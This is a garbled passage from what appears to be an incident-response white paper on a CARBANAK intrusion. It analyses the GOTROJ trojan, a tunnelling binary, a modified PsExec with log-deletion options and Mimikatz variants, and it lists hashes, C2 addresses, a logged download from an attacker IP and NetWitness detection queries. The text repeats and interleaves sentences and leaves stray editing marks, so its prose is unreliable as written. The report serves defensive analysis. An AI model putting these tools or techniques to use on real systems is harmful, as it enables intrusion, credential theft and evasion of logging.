shown in Table 10. Command Function Display process listing #shell Begin interactive command shell #kill Remove Windows Service and Malware #info Get system information #wget Download function via wget HTTP #wput Upload function via wput FTP #name Get hostname of victim #service Install malware as Windows Service with Service Name of WindowsCtlMonitor Table 10: Decoded Commands for GOTROJ Trojan The commands are stored within the binary in an XOR encrypted segment, which is decrypted shortly after execution with the XOR key of dmdar, 0x646D646172. The section of code which calls the c_gosh_xstr_XorCrypt() The!Shadows!of!Ghosts! function to decrypt the commands is shown in Figure! 24. Case!Study:!CARBANAK! 24: XOR Command Decryption Method FigureFigure 24: XOR Command Decryption Method This binary operates in one of two modes. The first is an ad hoc, interactive execution mode, in which the malware executes context of a user However, if the malware is This binary operates in within one ofthe modes. The account. first is an ad hoc, interactive executed as a user, there has to be a file named xname.txt in that user s temporary directory executionbymode, in which variable the malware executes within thefound context ofthis referenced the environment %TEMP%. As this file was not during engagement and is not dropped by any of the tools used by the attackers, its contents are not user account. However, if the malware is executed as a user, there has to known. However, when the malware begins to communicate with its C2, the contents of the file are the first thing encrypted and sent to the C2 server. The second method of GOTROJ utilization is execution under a Windows Service as a method of persistence. The attackers used this method of execution during this engagement, installing the GOTROJ binary as a service named WindowsCtlMonitor. Deleted: Deleted: Deleted: Deleted: . Deleted: Deleted: Deleted: WHITE PAPER be a file named xname.txt in that user s temporary directory referenced by the environment variable %TEMP%. As this file was not found during this engagement and is not dropped by any of the tools used by the attackers, its contents are not known. However, when the malware begins to communicate with its C2, the contents of the file are the first thing encrypted and sent to the C2 server. The second method of GOTROJ utilization is execution under a Windows Service as a method of persistence. The attackers used this method of execution during this engagement, installing the GOTROJ binary as a service named WindowsCtlMonitor. The network communication protocol this malware uses contains a very simplistic, but specific, header and format. The traffic sent and received by this malware is XOR encrypted with an XOR key that changes for every message sent or received. An example of the format in its encrypted form is shown in Figure 25. BA 45 BA B2 BA BA BA 99 C9 D2 DF D6 D6 B7 B0 Yellow = Null Bytes Pink = ID Byte Green = Length Byte Grey = Message .E............. Figure 25: Annotated Encrypted Form of GOTROJ Communication Once decrypted with the XOR key (byte BA in the example above), the formatting of the message becomes considerably clearer. An illustration of this is shown in Figure 26. 00 FF 00 08 00 00 00 23 73 68 65 6C 6C 0D 0A Yellow = Null Bytes Pink = ID Byte Green = Length Byte Grey = Message .......#shell.. Figure 26: Annotated Decrypted Form of GOTROJ Communication Given this simplistic method of formatting and decryption, RSA analysts were able to effectively decrypt this traffic for review during the investigation, greatly increasing visibility into attacker actions. However, given that this malware utilizes a TCP socket connection for transport communications in a tunneling form, the custom communications protocol does not take packet boundaries into account in its design. Therefore, a single message may traverse multiple packets with no additional control bytes, such as the ID byte or length. Given this case, the method of decrypting the traffic was made more effective by extracting the payload above Layer 4 and decrypting that data independent of any data within Layers 2-4. The file information WHITE PAPER for the three versions of GOTROJ observed in this incident is shown in Table 11, Table 12 and Table 13. All binaries use the same C2 IP address of 107.181.246.146. File Name : ctlmon.exe File Size : 4,392,448 bytes : 370d420948672e04ba8eac10bfe6fc9c SHA1 : 450605b6761ff8dd025978f44724b11e0c5eadcc Table 11: File Information for GOTROJ Version 1 File Name : ctlmon_v2.exe File Size : 4,047,691 bytes : 5ddf9683692154986494ca9dd74b588f SHA1 : 08f527bef45cb001150ef12ad9ab91d1822bb9c7 Table 12: File Information for GOTROJ Version 2 File Name : ctlmon_v3.exe The!Shadows!of!Ghosts! File Size : 4,063,744 bytes Case!Study:!CARBANAK! : f9766140642c24d422e19e9cf35f2827 ! Table 12: File Information for GOTROJ Version 2 SHA1 : 7b27771de1a2540008758e9894bfe168f26bffa0 File Name File Size SHA1 : ctlmon_v3.exe : 4,063,744 Table 13: bytes File Information for GOTROJ Version 3 : f9766140642c24d422e19e9cf35f2827 : 7b27771de1a2540008758e9894bfe168f26bffa0 4.4.2 AudiTunnel (Windows Version) 13: File Information for GOTROJ The attackers alsoTable utilized a tunneling binary similarVersion to the 3AUDITUNNEL binary used(Windows on the compromised 4.4.2! AudiTunnel Version) Linux systems. The svcmd.exe binary primary purpose tunnel traffic to thetoattackers C2 using XOR The attackers also utilized a tunneling binary similar the AUDITUNNEL binary used on the encoding with a key of 0x41. This version of primary AUDITUNNEL hard-coded compromised Linux systems. svcmd.exe binary purposeiswas to tunnel traffic to the attackers C2 using XOR encoding with a key of The 0x41. version is of clearly AUDITUNNEL is hardto communicate with IP 185.86.151.174. C2This IP address seen coded to communicate with IP 185.86.151.174. The C2 IP address is clearly seen within the withinofthe strings file, 27. as shown in Figure 27. ASCII strings theASCII file, as shownofinthe Figure Figure 27: C2 IP Address in ASCII Strings of svcmd.exe Figure 27: C2 IP Address in ASCII Strings of svcmd.exe The IP address it communicates with is hard-coded, as is the encryption key used for its The IP address it communicates with is hard-coded, as is the encryption communications. After establishing the TCP connection and socket, svcmd.exe will XOR the send and receive buffers against value 0x41. Given connects address key used for its communications. After establishing the TCP connection over TCP/443, without the necessary visibility, defenders might mistake it for HTTPS encrypted andencryption socket, svcmd.exe will XOR the send and receive buffers against a value traffic. The code segment is shown in Figure of 0x41. Given it connects to the C2 IP address over TCP/443, without the necessary visibility, defenders might mistake it for HTTPS encrypted traffic. The encryption code segment is shown in Figure 28. WHITE PAPER Figure 27: C2 IP Address in ASCII Strings of svcmd.exe The IP address it communicates with is hard-coded, as is the encryption key used for its communications. After establishing the TCP connection and socket, svcmd.exe will XOR the and receive buffers against a value of 0x41. Given it connects to the C2 IP address over TCP/443, without the necessary visibility, defenders might mistake it for HTTPS encrypted traffic. The encryption code segment is shown in Figure 28. The encryption code segment is shown in Figure 28. Figure 28: XOR Byte Encryption Loop for Send and Receive Buffer The file information for the Windows AUDITUNNEL binary is shown in Table 14. File Name : svcmd.exe File Size : 47,104 bytes : 8b3a91038ecb2f57de5bbd29848b6dc4 SHA1 : 54074b3934955d4121d1a01fe2ed5493c3f7f16d Table 14: File Information for AUDITUNNEL (Windows Version) 4.5 WINDOWS SECONDARY ATTACKER TOOLS 4.5.1 TINYP While the WINEXE binary was used to migrate from the Linux environment to the Windows environment, a modified version of SysInternals PSEXEC was used to move throughout the Windows environment. This modified PSEXEC binary, named TINYP by the attackers, was the primary lateral movement mechanism. Two versions of TINYP were used during this intrusion (v.0.7.6.2 and v.0.7.7.4), with the attackers downloading the binaries under the filenames ti1.bmp, tinyp1.bmp, tinyp2.bmp, tineyp3.bmp, tinyp4.bmp and ps.bmp. Once downloaded, the binary was renamed to ps.exe for use in lateral movement. While both versions of TINYP have all of the features of normal SysInternals PSEXEC, they also include additional functionality. These functionalities are given at the command line at execution, just like PSEXEC. The usage list of all of TINYP s functions is shown in Table 15. WHITE PAPER Argument Function \\ Remote system to communicate with Do not load user profile on target host -copyself Copy TINYP to C:\Windows on target host -cleanup Delete System Event Log -getfiles Download files from target host -copyfiles Upload files to target host $ADMIN share Run command non-interactively -i Run command interactively to -u Username flag -p Password flag Run as SYSTEM on target host Command to run on the target host. Running cmd gives interactive shell Table 15: TINYP Arguments and Functions The primary modifications made to the base SysInternals PSEXEC are the functions associated with the copyself, cleanup, getfiles, and copyfiles arguments. The copyself and copyfiles arguments will copy a file to the target remote system via SMB/CIFS, with that file either being a copy of TINYP itself or an explicitly designated file, respectively. The getfiles argument will move files in the opposite direction, downloading specified files from the target remote host to the source host via SMB/CIFS. Lastly, the TINYP tool contains an argument to specifically delete entries from the Windows System Event Log. While this is an attempt to cover tracks as the attacker moves throughout the environment, it is important to note that this only affects the System Event Log, leaving Application, Security and servicespecific Windows Event Logs to retain data useful to investigators. The TINYP tool was used primarily with the Windows Command Processor cmd.exe as the final argument for remote command shell access. Once the attacker closed the remote session, the TINYP tool would: 1. Check if it copied itself to the $ADMIN share of the remote system (C:\ Windows). If so, it would delete itself from that location. 2. Remove the PSEXESVC Windows Service and the psexesvc.exe PSEXEC Remote Service binary from the remote system. 3. Delete the System Event Log from the remote system. attacker moves throughout the environment, it is important to note that this only affects the System Event Log, leaving Application, Security and service-specific Windows Event Logs to Deleted: , retain data useful to investigators. WHITE PAPER The TINYP tool was used primarily with the Windows Command Processor cmd.exe as the final argument for remote command shell access. Once the attacker closed the remote session, the TINYP tool would: 1.! Check if it copied itself to the $ADMIN share of the remote system (C:\Windows). If so, it would delete itself from that location. 2.! Remove the PSEXESVC Windows Service and the psexesvc.exe PSEXEC Remote Service binary from the remote system. 3.! Delete the System Event Log from the remote system. Evidence of of thisthis activity, in thein form a lab execution of this tool, is in Figure Evidence activity, theofform of a lab execution ofshown this tool, is shown Figure Sample Execution TINYP v.0.7.7.4 Figure 29. The file information for TINYP versions 0.7.6.2 and 0.7.7.4 is shown in Table 16 and Table 17, Figure 29: Sample Execution of TINYP v.0.7.7.4 respectively. Filefile Name : TINYP2.bin information for TINYP versions 0.7.6.2 and 0.7.7.4 is shown in Table File Size : 277,504 bytes 16 and Table 17, respectively. Page 35 File Name : TINYP2.bin File Size : 277,504 bytes : 7393cb0f409f8f51b7745981ac30b8b6 SHA1 : 6c17113f66efa5115111a9e67c6ddd026ba9b55d Table 16: File Information for TINYP v.0.7.6.2 File Name : ps.exe File Size : 234,496 bytes : c4d746b8e5e8e12a50a18c9d61e01864 SHA1 : c020f8939f136b4785dda7b2e4b80ced96e23663 Table 17: File Information for TINYP v.0.7.7.4 4.5.2 WGET (UIAUTOMATIONCORE.DLL.BIN) As done previously, the attackers used WGET version 1.11.4 to download binaries before execution. However, the WGET used was renamed to UIAutomationCore.dll.bin. Evidence of this is shown in execution of the binary in Figure 30. Deleted: Deleted: Comment [A Deleted: are SHA1 : 6c17113f66efa5115111a9e67c6ddd026ba9b55d Table 16: File Information for TINYP v.0.7.6.2 File Name File Size SHA1 : ps.exe : 234,496 bytes : c4d746b8e5e8e12a50a18c9d61e01864 : c020f8939f136b4785dda7b2e4b80ced96e23663 WHITE PAPER Table 17: File Information for TINYP v.0.7.7.4 4.5.2! WGET (UIAutomationCore.dll.bin) As done previously, the attackers used WGET version 1.11.4 to download binaries before execution. However, the WGET used was renamed to UIAutomationCore.dll.bin. Evidence of this is shown in execution of the binary in Figure 30. FigureFigure 30: WGET Renamed to UIAutomationCore.dll.bin 30: WGET Renamed to UIAutomationCore.dll.bin This is observed downloading a version a ofversion the TINYP IP address Thisbinary binary is observed downloading of tool thefrom TINYP tool from IP 185.61.148.145 in the RSA NetWitness Endpoint Application Tracking Data shown in Figure 31. address 185.61.148.145 in the RSA NetWitness Endpoint Application ECATSERVER,AGENT_HOSTNAME,2017-05-02 Tracking Data shown in Figure 31. 12:51:43.0671260,UIAutomationCore.dll.bin,TINYP2.bmp,C:\Windows\SysWOW64\zhTW\,NULL,UIAutomationCore.dll.bin http://185.61.148.145:443/TINYP2.bmp ECATSERVER,AGENT_HOSTNAME,2017-05-02 Figure 31: Download of TINYP Binary with UIAutomationCore.dll.bin 12:51:43.0671260,UIAutomationCore.dll.bin,TINYP2.bmp,C:\ file information is shown in Table 18. Windows\SysWOW64\zh-TW\,NULL,UIAutomationCore.dll.bin http://185.61.148.145:443/TINYP2.bmp File Name : UIAutomationCore.dll.bin File Size : 401,408 bytes : bd126a7b59d5d1f97ba89a3e71425731 of TINYP Binary with UIAutomationCore.dll.bin SHA1 Figure 31::Download 457b1cd985ed07baffd8c66ff40e9c1b6da93753 The file information is shown in Table 18. File Name : UIAutomationCore.dll.bin File Size : 401,408 bytes : bd126a7b59d5d1f97ba89a3e71425731 SHA1 : 457b1cd985ed07baffd8c66ff40e9c1b6da93753 Page 36 Table 18: File Information for WGET (UIAutomationCore.dll.bin) 4.5.3 PSCP (PuTTY Secure File Copy) The PSCP tool used by the attackers was an unmodified version of PuTTY Secure File Copy v0.67. The file information is shown in Table 19. File Name : pscp.bin File Size : 359,336 bytes : b3135736bcfdab27f891dbe4009a8c80 SHA1 : 9240e1744e7272e59e482f68a10f126fdf501be0 Table 19: File Information for PSCP 4.5.4 Mimikatz Variant (32-bit, 64-bit) For credential harvesting within the Windows environment, the attackers downloaded two files named image32.bmp and image64.bmp. These files were subsequently renamed to xxx32.exe and xxx64.exe, respectively. In reviewing these files and their activity, RSA IR determined that these were implementations of the sekurlsa_acquireLSA() functionality of the Mimikatz credential harvesting tool. The file information is shown in Table 20 and Table 21. Deleted: WHITE PAPER File Name : xxx32.exe File Size : 528,896 bytes : 6499863d47b68030f0c5ffafaffb1344 SHA1 : 2197e35f14ff9960985c982ed6d16d5bd5366062 Table 20: File Information for MIMIKATZ Variant (32-bit) File Name : xxx64.exe File Size : 589,312 bytes : 752d245f1026482a967a763dae184569 SHA1 : 355603b1922886044884afbdfa9c9a6626b6669a Table 21: File Information for MIMIKATZ Variant (64-bit) 4.5.5 CCS CCS is a system process and library identifier that, when no arguments are given, will print the currently running processes and their process IDs to both STDOUT and a file named _out.log in the current working directory. If CCS executed with the modules argument, it printed the running processes and their process IDs, as well as all DLLs loaded by each process. This operation also prints the output to both STDOUT and the _out.log file. Additionally, the _out.log file will not be replaced; rather, it will be appended with every subsequent execution. The file information is shown in Table 22. File Name : ccs.bmp File Size : 82,944 bytes : d406e037f034b89c85758af1a98110be SHA1 : 6bc46528da6cd224fa5e58ccd9df5b05c46c673d Table 22: File Information for CCS 4.5.6 Infos.bmp The INFOS tool was a host reconnaissance tool obtaining browser history, browser login data and RDP logs from the system, and it outputs them to STDOUT. The attackers used this tool to harvest credentials, identify internal web applications and observe the common RDP connections and accounts used on the Windows servers. The file information is shown in Table 23. File Name : infos.bmp File Size : 494,080 bytes : ab8bed25f9ff64a4b07be5d3bc34f26b SHA1 : 42ce9c2bd246a0243fa91309938042e434b39876 Table 23: File Information for INFOS The INFOS tool was a host reconnaissance tool obtaining browser history, browser login data and RDP logs from the system, and it outputs them to STDOUT. The attackers used this tool t WHITE RDP PAPER harvest credentials, identify internal web applications and observe the common connectio and accounts used on the Windows servers. The file information is shown in Table 23. File Name File Size SHA1 : infos.bmp : 494,080 bytes : ab8bed25f9ff64a4b07be5d3bc34f26b : 42ce9c2bd246a0243fa91309938042e434b39876 Table 23: File Information for INFOS 4.5.7 PSCAN (Windows Version) 4.5.7! PSCAN The (Windows Version) attackers also utilized a version of the PSCAN tools described in Section 4.3.3.utilized This version differsof from Linux version previously discussed only The attackers also a version thethe PSCAN tools described in Section 4.3.3. This versi differs from theitsLinux version previously discussed only usage message, which is slightly usage message, which is slightly more verbose. An example of the usage more verbose. text An example usage text execution shown Figure and execution is shown in Figure 32. Figure Example Executionand and Usage Usage Text ofof Windows Version of PSCAN Figure 32: 32: Example Execution Text Windows Version of PSCAN The file is shown The file information isinformation shown in Table 24.in Table 24. File Name File Size SHA1 File Name : pscan.bmp : pscan.bmp : 65,024 bytes File Size : 65,024 bytes d825fbd90087d2350e89cbf205a1b71c : d825fbd90087d2350e89cbf205a1b71c : ca5e195692399dca99a4d8299dc9ff816168a6dc SHA1 : ca5e195692399dca99a4d8299dc9ff816168a6dc Table 24: File Information for PSCAN (Windows Version) Table 24: File Information for PSCAN (Windows Version) 4.6! Detection, Tracking and Response 4.6 DETECTION, TRACKING, AND RESPONSE Given that the Given attackers leftattackers very little running running on anyon compromised host, that the leftconsistently very little consistently downloaded tools as they needed them and removed those tools immediately after use, compromised host, downloaded tools as they needed them and removed determining their movement throughout the environment via traditional forensic methods wa those tools immediately after use, determining their movement throughout not a timely option. In a significant portion of the attackers actions-on-objective and lateral environment via traditional forensic methods was not timely option. movement, thethe majority of their activity was contained within thea functions of the Windows In a significant portion of the attackers actions-on-objective Command Processor cmd.exe. Given this, much of their actions did and notlateral cause subsequent movement, the majority of their activity was contained within the functions of the Windows Command Processor cmd.exe. Given this, much of their actions did not cause subsequent process execution. Additionally, the attackers utilized several different filenames for their toolsets, ensured a tool was not executed with the same name it was downloaded with, used multiple versions to throw off atomic hashing IOCs and maintained at least two different ingress points with non-related IP addresses. Given that the attackers had been in the environment for over a month at the time response began, traditional host and network intrusion detection systems within the organization s security stack proved ineffective to combat these actors. Additionally, the attackers had full access to the Linux and Windows environments at the time of response. However, by engaging and enabling analysts to periodically conduct RSA Threat Hunting with a solid methodology, WHITE PAPER this threat was still detected despite not being detected by IDS, or buried in ineffective alerts. Once detected, the root cause was determined, the threat was effectively and recursively scoped across the environment, additional next-level visibility into attacker actions was obtained, and a plan was created and executed to successfully remediate the threat. Given that time is the most critical resource during incident response, any reduction to the 10:1 analysis time versus attack time ratio can significantly increase the chances of a successful eradication event and continued successful remediation. In this case, due to effective visibility, solid methodology and processes, and motivated and properly enabled analysts, the threat was contained and remediated after nine days of response efforts. The remediation involved significant internal infrastructure changes be enacted before the expulsion event, including implementation of redesigned network segmentation, replacement of several significant environment-wide data and process automations, and removal and replacement of most administrative authentication methods within the environment. Consistent monitoring and RSA Threat Hunting operations conducted post-remediation, with the necessary visibility, allowed for an active and adaptive response in which any subsequent actor activity was observed, analyzed and responded to appropriately. With the care in which the attackers moved throughout the environment, RSA IR relied on RSA NetWitness Endpoint and RSA NetWitness Logs and Packets to coordinate host and network visibility and create non-standard, aggregate, behavioral-based indicators, resulting in actionable IOCs that allowed RSA IR to track the attackers in near real time. Here, we discuss some of the ways in which RSA IR was able to determine and track attacker actions throughout the environment. 4.6.1 Network Visibility and Indicators This section discusses the methodology and RSA NetWitness Suite queries and content used by RSA IR during this investigation. The methodology in this section uses the OCOKA defensive model16 and is described in detail in the RSA Incident Response NetWitness Hunting Guide. 17 The CARBANAK attackers conducted actions through a variety of network communication methods. Additionally, as the attackers were prone to downloading tools when they needed them, in an effort to leave as little on disk as possible, this became a primary method of tracking attacker location throughout the environment. The attackers primarily used WGET to download tools when needed, and they consistently did so directly to an IP address over TCP port 443. Heuser, Riley; The Myth of the Easy Button Approach to Information Security ; https://www. rsa.com/en-us/blog/2017-07/infosec-easy-button-myth RSA Incident Response NetWitness Hunting Guide ; https://community.rsa.com/docs/DOC-62341 WHITE PAPER The!Shadows!of!Ghosts! Case!Study:!CARBANAK! Therefore, using thequery following query would thetodataset to the attacker Therefore, using the following would reduce thereduce dataset the attacker activity with considerably high fidelity: activity with considerably high fidelity: direction = outbound && service = 80 clientbegins begins wget wget = 443 direction = outbound && service = 80 &&&& client &&tcp.dstport tcp.dstport = 443 && service.analysis direct http request service.analysis = direct to ip http request Execution ofExecution this query theagainst network the following sessions, shown in of against this query thedataset networkresulted datasetin resulted in the following Figure 33. sessions, shown in Figure 33. Figure Figure 33: 33: Query Query Results Results for Malicious Tool Downloads This behavioral could also modified adhere to toadhere changes attacker actions or increasing This IOC behavioral IOC be could also beto modified to in changes in attacker false positives by including the Directory Meta to only equal the root directory, or include the actions or increasing false positives by including the Directory Meta to only Action Meta to only include HTTP GET Requests. As we see in Figure 33, though the attackers the root directory, include the Meta to only include HTTP would keepequal changing filenames, IP or addresses andAction WGET versions used, actions associated with this TTP were still able besee detected throughout Requests. Astowe in Figure 33, thoughthe theengagement. attackers would keep changing filenames, IP addresses and WGET versions used, actions associated with this The primary method of interacting with the Linux Syslog server within the Linux environment were still ablevia to SSH be detected throughout the (created engagement. consisted ofTTP communicating over a reverse tunnel by the AUDITUNNEL The primary method of interacting with the Linux Syslog server within the Linux environment consisted of communicating via SSH over a reverse tunnel (created by the AUDITUNNEL binary). Given that the SSH traffic would be encapsulated within the reverse tunnel created by AUDITUNNEL, the Layer 3 and Layer 4 headers would be representative of the tunnel itself, while the Page 40 WHITE PAPER network payload above Layer 4 would be representative of the SSH protocol. With this knowledge, we can begin to build behavioral IOC queries to track this activity, beginning with the following: direction = outbound && service = 22 This query will return all results representative of both outbound SSH communication as well as inbound SSH communication over the reverse tunnel. However, this query is of particularly low fidelity, especially when in a Linux-heavy environment. By reviewing additional context around what we know of this attacker communication, this query can be narrowed significantly. In reviewing the activity associated with the AUDITUNNEL auditd and svcmd.exe tunneling binaries, both communicate outbound over TCP port 443. Adding this to our query gives additional context around the transport mechanism, though not the communication mechanism (SSH). As the SSH attacker traffic is associated with the SSHDOOR trojanized OpenSSH 5.3 binaries, and by specification SSH exchanges client and server version strings at the beginning of each session, we can add version context to the communication mechanism as well. The addition of these two aspects results in the following query: direction = outbound && service = 22 && tcp.dstport = 443 && client = openssh_5.3 Execution of this query against the network dataset returns the following The!Shadows!of!Ghosts! Case!Study:!CARBANAK! results, as shown in Figure 34. Figure Figure34: 34:Tunneled TunneledSSH SSHQuery Query Results Results In the resulting data, we observe that in all sessions returned, the client version string and the server version string match. This can be added to the query to increase the fidelity of the IOC if there are still false positives present. However, there is still the case in which the AUDITUNNEL WHITE PAPER In the resulting data, we observe that in all sessions returned, the client version string and the server version string match. This can be added to Figure 34: Tunneled SSH Query Results the query to increase the fidelity of the IOC if there are still false positives In thepresent. resultingHowever, data, we observe all case sessions returned, client version binary string and the there isthat stillinthe in which the the AUDITUNNEL server version string match. This can be added to the query to increase the fidelity of the IOC if encoding. In However, this case,there the traffic willcase appear as binary thereutilizes are still the falseXOR positives present. is still the in which the AUDITUNNEL binary utilizes encoding. this case, traffic will appear binary network network communications. In order to ease the effort of detecting this communications. In order to ease the effort of detecting this activity, content for RSA activity, content for RSA NetWitness Logs Packets were created NetWitness Logs and Packets were created based onand the initial Client Hello stringbased passed when beginning AUDITUNNEL communication. example this detection is shownXOR in Figure on the initial Client Hello string passed when beginning AUDITUNNEL communication. An example of this detection is shown in Figure 35. Dele Dele Dele Dele Dele Figure 35: AUDITUNNEL Client Hello Payload Detection and Meta Figure 35: AUDITUNNEL Client Hello Payload Detection and Meta The GOTROJ utilized two methods of network communication. The first and primary method was a custom binary XOR encoded protocol communicating Page 42 outbound over TCP port 443. We can begin building our IOC query here with the following: direction = outbound && risk.info = unknown service over ssl port && tcpflags = && ioc = binary handshake This query will identify the beginning of all outbound communications over TCP port 443 in which data is being transmitted by both parties at the beginning of the communication (ioc = binary handshake ). While this will find the GOTROJ control traffic, it will find many other things as well. This is due to service = 0 being representative of any protocol for which there is not an RFC standard parser built. This includes various proprietary protocols, malicious custom protocols and even sending cleartext over a network tunnel. To narrow this down some, we would want to look at byte transmission ratios between the payloads of the communication. What we are really looking for is conversational traffic, in which the ratio of the amount of data transmitted by both parties is roughly equivalent (25-75% or so). To identify this, we would add the Session Analysis Meta for this type of byte transmission ratio, as shown below: direction = outbound && risk.info = unknown service over ssl port && tcpflags = && ioc = binary handshake && analysis.session = medium transmitted outbound The direction meta can be removed in this instance if necessary, as the medium transmitted outbound meta includes the condition. The resulting traffic from the network dataset is shown in Figure 36. would want to look at byte transmission ratios between the payloads of the communication. What we are really looking for is conversational traffic, in which the ratio of the amount of data transmitted by both parties is roughly equivalent (25-75% or so). To identify this, we would add WHITE PAPER the Session Analysis Meta for this type of byte transmission ratio, as shown below: direction = outbound && risk.info = unknown service over ssl port && tcpflags = && ioc = binary handshake && analysis.session = medium transmitted outbound The direction meta can be removed in this instance if necessary, as the medium transmitted outbound meta includes the condition. The resulting traffic from the network dataset is shown in Figure 36. Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic At this point in the analysis, we want to look at any contextually interesting The!Shadows!of!Ghosts! meta within the analysis, compromise or risk meta groups. In Figure 36, meta is Case!Study:!CARBANAK! created on these sessions for xor encoded executable ! and windows cli admin commands. This indicates that RSA NetWitness Suite observed a Windows Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic executable file in the network traffic that was XOR encrypted with a oneAt this point we want to look at any contextually interesting meta within the byte key. Addinganalysis, this meta to the windows cli admin commands indicates that analysis, compromise or risk meta groups. In Figure 36, meta is created on these sessions for common Windows administrative command line utilities, such whoami, xor encoded executable and windows cli admin commands. This indicates that RSA NetWitness Suite observed a Windows executable file in the network traffic that was XOR encrypted with a ipconfig or the command prompt string C:\Windows\system32>, were one-byte key. Adding this meta to the windows cli admin commands indicates that common Windows administrative command line utilities, such whoami, ipconfig or the command observed either in cleartext or one-byte encrypted. In extracting prompt string C:\Windows\system32>, were observed either in cleartext or one-byte XOR payload performing the XOR instruction a key of 0xC0, we of observe encrypted.and In extracting the payload and performing thewith XOR instruction with a key 0xC0, we observe the command prompt string, as shown in Figure 37. command prompt string, as shown in Figure 37. Page 43 Deleted: , Deleted: Deleted: . Formatted: F Deleted: Deleted: , Deleted: , Deleted: , Deleted: Figure 37: Identification of Windows Command Prompt in Figure 37: Identification of Windows Command Prompt in XOR 0xC0 Decrypted Payload While this query may include additional traffic not associated with the attackers, it allowed RSA XOR 0xC0 Decrypted Payload IR to significantly reduce the network dataset to a level where any included traffic could be quickly reviewed for newly identified C2 IP addresses or false positive IP addresses that required While query mayaccurately include additional not associated withcustom filtering.this In order to more observe this traffic communication, RSA IR created content for RSA NetWitness Suite. This content is released in the form of the Digital Appendix attackers, allowed significantly reduce network dataset to a associated with this report. An example of the meta created for this communication is shown in Figure where level any included traffic could be quickly reviewed for newly identified C2 IP addresses or false positive IP addresses that required filtering. In order to more accurately observe this communication, RSA IR created custom content for RSA NetWitness Suite. This content is released in the form of the Digital Appendix associated with this report. An example of the meta created for this communication is shown in Figure 38. Deleted: Deleted: Deleted: Comment [A WHITE PAPER Figure 37: Identification of Windows Command Prompt in XOR 0xC0 Decrypted Payload While this query may include additional traffic not associated with the attackers, it allowed RSA IR to significantly reduce the network dataset to a level where any included traffic could be quickly reviewed for newly identified C2 IP addresses or false positive IP addresses that required filtering. In order to more accurately observe this communication, RSA IR created custom content for RSA NetWitness Suite. This content is released in the form of the Digital Appendix associated with this report. An example of the meta created for this communication is shown in Figure 38. Figure 38: GOTROJ Beacon Meta from Digital Appendix Content As discussed earlier in this paper, GOTROJ has the ability to download Figure 38: GOTROJ Beacon Meta from Digital Appendix Content files to compromised hosts. This ability does not traverse the binary XOR encoded control channel of the GOTROJ. Instead, it utilizes HTTP over As discussed earlier in this paper, the GOTROJ has the ability to !download The!Shadows!of!Ghosts! files to compromised 443. Thenot following subset of the query associated with Figure 33ofcan Case!Study:!CARBANAK! hosts. Thisport ability does traverse the binary XOR encoded control channel thebe GOTROJ. Instead, it used utilizes HTTP over TCP port 443. The following subset !of the query associated with to find this traffic. direction outbound service 80 && tcp.dstport = 443 && session.analysis = direct to ip Figure 33 = be used && to find this = traffic. direction = outbound &&http service = 80 && tcp.dstport = 443 && request session.analysis = direct to ip http request This query returns the results shown in Figure 39. This query returns the results shown in Figure 39. Page 44 Figure 39: Identification of GOTROJ HTTP #wget User-Agent Figure 39: Identification of GOTROJ HTTP #wget User-Agent In Figure 39, an additional HTTP User-Agent is observed: go-http-client/1.1. The sessions associated with this User-Agent are the sessions in which files were downloaded via the GOTROJ Trojan. Adding this information to the query associated with Figure 33 returns the following: WHITE PAPER In Figure 39, an additional HTTP User-Agent is observed: go-http-client/1.1. The sessions associated with this User-Agent are the sessions in which files were downloaded via the GOTROJ Trojan. Adding this information to the query associated with Figure 33 returns the following: direction = outbound && service = 80 && tcp.dstport = 443 && session.analysis = direct to ip http request && client begins wget With these queries built around behavioral attacker TTPs, as observed during the time of engagement, any reliance on traditional atomic indicators is removed from the investigation. Instead, the actions required of the attackers (such as operating system command execution and interaction, file download, etc.) are focused upon, as well as the way that their TTP and toolsets perform these actions. Thus any changes in C2, filenames, hashes, user-agents, etc., can be quickly identified and included in the continuing investigation. 4.6.2 Host Visibility and Indicators This section discusses the methodology and RSA NetWitness Endpoint Instant IOCs (IIOCs) and content used by RSA IR during this investigation. The methodology used in this section is described in detail in the RSA NetWitness Endpoint User Guide found here.18 The CARBANAK actors involved during this engagement were particularly careful to leave as little file, log or execution traces as possible. This included, but was not limited to, ad hoc download of tools as needed, preference for lateral tool movement, log deletion automatically built into tools, immediate deletion of tools and logs upon logout of systems, and removal of entries from centralized log repositories. During this engagement, the RSA NetWitness Endpoint agent was deployed to all Red Hat Enterprise Linux (RHEL) and CentOS 6 and 7 systems, as they could support it. The detection of attacker activity on these systems within RSA NetWitness Endpoint utilized aspects of the attacker actions and toolset utilizations that deviated from legitimate installed binary usage. An example of this is the usage of the AUDITUNNEL and the SSHDOOR client and server binaries. Originally, the attackers placed the SSHDOOR binaries in /usr/bin and /usr/sbin as a replacement for the system OpenSSH client and server binaries. However, upon the remediation of system ALPHA, the attackers utilized the SSHDOOR binaries in the non-standard location of /usr/share/ man/mann. The initial placement of SSHDOOR was observed by reviewing any binaries automatically started as part of systemd or init.d, and had a hash value that didn t match the one in the RPM package list. These attributes are recorded in the IIOCs of RSA NetWitness Endpoint and are shown in the SSHDOOR detection in Figure 40. RSA NetWitness Endpoint User Guide ; https://community.rsa.com/docs/DOC-72935 attacker activity on these systems within RSA NetWitness Endpoint utilized aspects of the attacker actions and toolset utilizations that deviated from legitimate installed binary usage. An WHITE PAPER example of this is the usage of the AUDITUNNEL and the SSHDOOR client and server binaries Originally, the attackers placed the SSHDOOR binaries in /usr/bin and /usr/sbin as a replacement for the system OpenSSH client and server binaries. However, upon the remediation of system ALPHA, the attackers utilized the SSHDOOR binaries in the non-standard location of /usr/share/man/mann. The initial placement of SSHDOOR was observed by reviewing any binaries automatically started as part of systemd or init.d, and had a hash value that didn match the one in the RPM package list. These attributes are recorded in the IIOCs of RSA NetWitness Endpoint and are shown in the SSHDOOR detection in Figure 40. Figure 40: File Hash Mismatch and system/init.d Autostart in SSHDOOR Detection Figure 40: File Hash Mismatch and system/init.d Autostart in SSHDOOR Detection Once the attackers moved to a non-standard location, this was easily identified, as they the only common system binaries not running Once the attackers moved to were a non-standard location, thisservice was easily identified, as they were the only common system service binaries running either /sbin /usr/sbin. The aspects of The!Shadows!of!Ghosts! in either /sbin or /usr/sbin. The aspects of both instances of SSHDOOR use are Case!Study:!CARBANAK! both instances SSHDOOR illustrated Figure illustrated in Figure 41. RSA NetWitness Endpoint User Guide ; https://community.rsa.com/docs/DOC-72935 Page 4 41: Malicious Binary in Non-Standard Locations and Without FigureFigure 41: Malicious Binary Usage in Usage 